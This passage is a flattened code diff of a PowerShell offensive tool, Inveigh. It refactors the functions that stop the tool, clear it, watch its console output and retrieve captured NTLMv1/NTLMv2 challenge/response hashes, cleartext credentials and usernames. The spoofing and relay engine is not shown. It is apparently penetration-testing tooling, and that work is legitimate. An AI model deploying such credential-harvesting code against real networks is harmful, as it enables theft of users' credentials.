$certificate_store.Close() + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - } } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false - } - else - { - Write-Output("There are no running Inveigh functions")|Out-Null } + $inveigh.HTTP = $false + $inveigh.HTTPS = $false +} +else +{ + Write-Output("There are no running Inveigh functions")|Out-Null +} + } function Get-Inveigh { - <# - .SYNOPSIS - Get-Inveigh will display queued Inveigh console output. - #> +<# +.SYNOPSIS +Get-Inveigh will get stored Inveigh data from memory. + +.PARAMETER Console +Get queued console output. This is also the default if no parameters are set. + +.PARAMETER Log +Get log entries. + +.PARAMETER NTLMv1 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv1Unique +Get the first captured NTLMv1 challenge/response for each unique account. + +.PARAMETER NTLMv1Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER NTLMv2 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2Unique +Get the first captured NTLMv2 challenge/response for each unique account. + +.PARAMETER NTLMv2Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER Cleartext +Get captured cleartext credentials. + +.PARAMETER CleartextUnique +Get unique captured cleartext credentials. + +.PARAMETER Learning +Get valid hosts discovered through spoofer learning. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + [parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($Console -or $PSBoundParameters.Count -eq 0) +{ while($inveigh.console_queue.Count -gt 0) { @@ -2136,7 +2436,7 @@ function Get-Inveigh if($inveigh.output_stream_only) { Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } else { @@ -2144,12 +2444,6 @@ function Get-Inveigh switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "* written to *" { @@ -2158,31 +2452,31 @@ function Get-Inveigh Write-Warning $inveigh.console_queue[0] } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "* for relay *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "*SMB relay *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } "* local administrator *" { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } default { Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } } @@ -2193,279 +2487,200 @@ function Get-Inveigh } -function Get-InveighCleartext +if($Log) { - <# - .SYNOPSIS - Get-InveighCleartext will get all captured cleartext credentials. - - .PARAMETER Unique - Display only unique cleartext credentials. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter - ) - - if($Unique) - { - Write-Output $inveigh.cleartext_list | Get-Unique - } - else - { - Write-Output $inveigh.cleartext_list - } - + Write-Output $inveigh.log } -function Get-InveighNTLMv1 +if($NTLMv1) { - <# - .SYNOPSIS - Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. - - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> - - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) - - if ($invalid_parameter) - { - throw "$($invalid_parameter) is not a valid parameter." - } + Write-Output $inveigh.NTLMv1_list +} - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } +if($NTLMv1Unique) +{ + $inveigh.NTLMv1_list.Sort() - if($Unique) + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) { - $inveigh.NTLMv1_list.Sort() + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account + Write-Output $unique_NTLMv1 } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv1_username_list - } - else - { - Write-Output $inveigh.NTLMv1_list + + $unique_NTLMv1_account_last = $unique_NTLMv1_account } } -function Get-InveighNTLMv2 +if($NTLMv1Usernames) { - <# - .SYNOPSIS - Get-InveighNTLMv2 will get captured NTLMv2 challenge/response hashes. - - .PARAMETER Unique - Display only the first captured challenge/response for each unique account. + Write-Output $inveigh.NTLMv2_username_list +} - .PARAMETER Usernames - Display IP addresses and usernames for captured NTLMv2 challenge response hashes. - #> +if($NTLMv2) +{ + Write-Output $inveigh.NTLMv2_list +} - param - ( - [parameter(Mandatory=$false)][Switch]$Unique, - [parameter(Mandatory=$false)][Switch]$Usernames, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter - ) +if($NTLMv2Unique) +{ + $inveigh.NTLMv2_list.Sort() - if($invalid_parameter) + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) { - throw "$($invalid_parameter) is not a valid parameter." - } + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - if($Unique -and $Usernames) - { - throw "Cannot use -Unique with -Usernames." - } + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } - if($Unique) - { - $inveigh.NTLMv2_list.Sort() + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) +} - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } +if($NTLMv2Usernames) +{ + Write-Output $inveigh.NTLMv2_username_list +} - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - } - elseif($Usernames) - { - Write-Output $inveigh.NTLMv2_username_list - } - else - { - Write-Output $inveigh.NTLMv2_list - } +if($Cleartext) +{ + Write-Output $inveigh.cleartext_list +} +if($CleartextUnique) +{ + Write-Output $inveigh.cleartext_list | Get-Unique } -function Get-InveighLog +if($Learning) { - <# - .SYNOPSIS - Get-InveighLog will get log entries. - #> + Write-Output $inveigh.valid_host_list +} - Write-Output $inveigh.log } function Watch-Inveigh { - <# - .SYNOPSIS - Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - #> +<# +.SYNOPSIS +Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. +#> - if($inveigh.tool -ne 1) +if($inveigh.tool -ne 1) +{ + + if($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) { + Write-Output "Press any key to stop real time console output" + $inveigh.console_output = $true - if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.unprivileged_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + while($inveigh.console_queue.Count -gt 0) { - while($inveigh.console_queue.Count -gt 0) + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else + switch -wildcard ($inveigh.console_queue[0]) { - - switch -wildcard ($inveigh.console_queue[0]) - { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } + "* written to *" + { - "* for relay *" + if($inveigh.file_output) { Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) } - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + $inveigh.console_queue.RemoveAt(0) + } - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + "* for relay *" + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + "*SMB relay *" + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + "* local administrator *" + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) } } - - } - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop } + + } - Start-Sleep -m 5 + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop } - } - else - { - Write-Output "Inveigh isn't running" + Start-Sleep -m 5 } } else { - Write-Output "Watch-Inveigh cannot be used with current external tool selection" + Write-Output "Inveigh isn't running" } } +else +{ + Write-Output "Watch-Inveigh cannot be used with current external tool selection" +} + +} function Clear-Inveigh { - <# - .SYNOPSIS - Clear-Inveigh will clear Inveigh data from memory. - #> - - if($inveigh) - { +<# +.SYNOPSIS +Clear-Inveigh will clear Inveigh data from memory. +#> - if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } +if($inveigh) +{ + if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.unprivileged_running) + { + Remove-Variable inveigh -scope global + Write-Output "Inveigh data has been cleared from memory" } + else + { + Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + } + +} }
\ No newline at end of file |